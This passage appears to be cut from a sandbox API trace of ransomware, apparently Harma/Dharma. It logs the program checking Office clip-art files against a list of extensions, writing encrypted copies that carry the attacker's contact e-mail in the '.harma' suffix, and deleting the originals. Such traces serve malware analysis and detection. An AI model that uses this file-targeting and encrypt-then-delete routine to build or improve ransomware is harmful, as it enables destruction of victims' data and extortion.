Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.448] lstrlenW (lpString=".1cd") returned 4 [0162.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.448] lstrlenW (lpString=".jpg") returned 4 [0162.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.449] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.449] lstrlenW (lpString="J0099166.JPG") returned 12 [0162.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.469] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=64767) returned 1 [0162.469] CloseHandle (hObject=0x330) returned 1 [0162.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0162.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.514] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.514] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.515] GetLastError () returned 0x0 [0162.515] ReadFile (in: hFile=0x398, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xfcff, lpOverlapped=0x0) returned 1 [0162.574] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0162.577] ReadFile (in: hFile=0x398, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.577] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.577] SetEndOfFile (hFile=0x39c) returned 1 [0162.577] CloseHandle (hObject=0x39c) returned 1 [0162.577] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.578] SetEndOfFile (hFile=0x398) returned 1 [0162.583] CloseHandle (hObject=0x398) returned 1 [0162.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0162.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.584] lstrlenW (lpString=".doc") returned 4 [0162.584] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.584] lstrlenW (lpString=".docx") returned 5 [0162.585] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0162.585] lstrlenW (lpString=".pdf") returned 4 [0162.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.585] lstrlenW (lpString=".xls") returned 4 [0162.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.585] lstrlenW (lpString=".xlsx") returned 5 [0162.585] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0162.585] lstrlenW (lpString=".ppt") returned 4 [0162.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.585] lstrlenW (lpString=".zip") returned 4 [0162.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.585] lstrlenW (lpString=".rar") returned 4 [0162.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.585] lstrlenW (lpString=".bz2") returned 4 [0162.585] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.585] lstrlenW (lpString=".7z") returned 3 [0162.585] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.585] lstrlenW (lpString=".dbf") returned 4 [0162.585] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.586] lstrlenW (lpString=".1cd") returned 4 [0162.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.586] lstrlenW (lpString=".jpg") returned 4 [0162.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.586] lstrlenW (lpString=".doc") returned 4 [0162.586] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.586] lstrlenW (lpString=".docx") returned 5 [0162.586] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0162.586] lstrlenW (lpString=".pdf") returned 4 [0162.586] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.586] lstrlenW (lpString=".xls") returned 4 [0162.586] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.586] lstrlenW (lpString=".xlsx") returned 5 [0162.586] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0162.586] lstrlenW (lpString=".ppt") returned 4 [0162.586] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.586] lstrlenW (lpString=".zip") returned 4 [0162.586] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.587] lstrlenW (lpString=".rar") returned 4 [0162.587] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.587] lstrlenW (lpString=".bz2") returned 4 [0162.587] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.587] lstrlenW (lpString=".7z") returned 3 [0162.587] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.587] lstrlenW (lpString=".dbf") returned 4 [0162.587] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.587] lstrlenW (lpString=".1cd") returned 4 [0162.587] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0162.587] lstrlenW (lpString=".jpg") returned 4 [0162.587] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.587] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.587] lstrlenW (lpString="J0099170.WMF") returned 12 [0162.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.588] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=24292) returned 1 [0162.588] CloseHandle (hObject=0x398) returned 1 [0162.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0162.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.589] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.589] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.590] GetLastError () returned 0x0 [0162.590] ReadFile (in: hFile=0x398, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0162.606] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0162.607] ReadFile (in: hFile=0x398, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.608] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.608] SetEndOfFile (hFile=0x39c) returned 1 [0162.608] CloseHandle (hObject=0x39c) returned 1 [0162.608] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.608] SetEndOfFile (hFile=0x398) returned 1 [0162.866] CloseHandle (hObject=0x398) returned 1 [0162.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0163.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.008] lstrlenW (lpString=".doc") returned 4 [0163.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.008] lstrlenW (lpString=".docx") returned 5 [0163.008] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0163.008] lstrlenW (lpString=".pdf") returned 4 [0163.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.008] lstrlenW (lpString=".xls") returned 4 [0163.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.008] lstrlenW (lpString=".xlsx") returned 5 [0163.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0163.008] lstrlenW (lpString=".ppt") returned 4 [0163.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString=".zip") returned 4 [0163.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.009] lstrlenW (lpString=".rar") returned 4 [0163.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.009] lstrlenW (lpString=".bz2") returned 4 [0163.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.009] lstrlenW (lpString=".7z") returned 3 [0163.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString=".dbf") returned 4 [0163.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString=".1cd") returned 4 [0163.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString=".jpg") returned 4 [0163.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.009] lstrlenW (lpString=".doc") returned 4 [0163.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString=".docx") returned 5 [0163.010] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0163.010] lstrlenW (lpString=".pdf") returned 4 [0163.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString=".xls") returned 4 [0163.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.010] lstrlenW (lpString=".xlsx") returned 5 [0163.010] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0163.010] lstrlenW (lpString=".ppt") returned 4 [0163.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.010] lstrlenW (lpString=".zip") returned 4 [0163.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.010] lstrlenW (lpString=".rar") returned 4 [0163.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString=".bz2") returned 4 [0163.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString=".7z") returned 3 [0163.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.010] lstrlenW (lpString=".dbf") returned 4 [0163.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.010] lstrlenW (lpString=".1cd") returned 4 [0163.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0163.010] lstrlenW (lpString=".jpg") returned 4 [0163.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.011] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.011] lstrlenW (lpString="J0099175.WMF") returned 12 [0163.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.013] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9744) returned 1 [0163.013] CloseHandle (hObject=0x3a4) returned 1 [0163.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0163.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.014] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.014] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0163.015] GetLastError () returned 0x0 [0163.015] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2610, lpOverlapped=0x0) returned 1 [0163.049] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2620, lpOverlapped=0x0) returned 1 [0163.050] ReadFile (in: hFile=0x3a4, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0163.050] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.051] SetEndOfFile (hFile=0x338) returned 1 [0163.051] CloseHandle (hObject=0x338) returned 1 [0163.051] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0163.051] SetEndOfFile (hFile=0x3a4) returned 1 [0163.054] CloseHandle (hObject=0x3a4) returned 1 [0163.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.056] lstrlenW (lpString=".doc") returned 4 [0163.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.056] lstrlenW (lpString=".docx") returned 5 [0163.056] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0163.056] lstrlenW (lpString=".pdf") returned 4 [0163.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.056] lstrlenW (lpString=".xls") returned 4 [0163.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.056] lstrlenW (lpString=".xlsx") returned 5 [0163.056] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0163.056] lstrlenW (lpString=".ppt") returned 4 [0163.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.056] lstrlenW (lpString=".zip") returned 4 [0163.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.056] lstrlenW (lpString=".rar") returned 4 [0163.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString=".bz2") returned 4 [0163.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString=".7z") returned 3 [0163.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.057] lstrlenW (lpString=".dbf") returned 4 [0163.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.057] lstrlenW (lpString=".1cd") returned 4 [0163.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.057] lstrlenW (lpString=".jpg") returned 4 [0163.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.057] lstrlenW (lpString=".doc") returned 4 [0163.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString=".docx") returned 5 [0163.057] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0163.057] lstrlenW (lpString=".pdf") returned 4 [0163.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.057] lstrlenW (lpString=".xls") returned 4 [0163.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.057] lstrlenW (lpString=".xlsx") returned 5 [0163.057] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0163.057] lstrlenW (lpString=".ppt") returned 4 [0163.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.058] lstrlenW (lpString=".zip") returned 4 [0163.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.058] lstrlenW (lpString=".rar") returned 4 [0163.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.058] lstrlenW (lpString=".bz2") returned 4 [0163.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.058] lstrlenW (lpString=".7z") returned 3 [0163.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.058] lstrlenW (lpString=".dbf") returned 4 [0163.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.058] lstrlenW (lpString=".1cd") returned 4 [0163.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0163.058] lstrlenW (lpString=".jpg") returned 4 [0163.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.058] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.058] lstrlenW (lpString="J0099177.WMF") returned 12 [0163.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 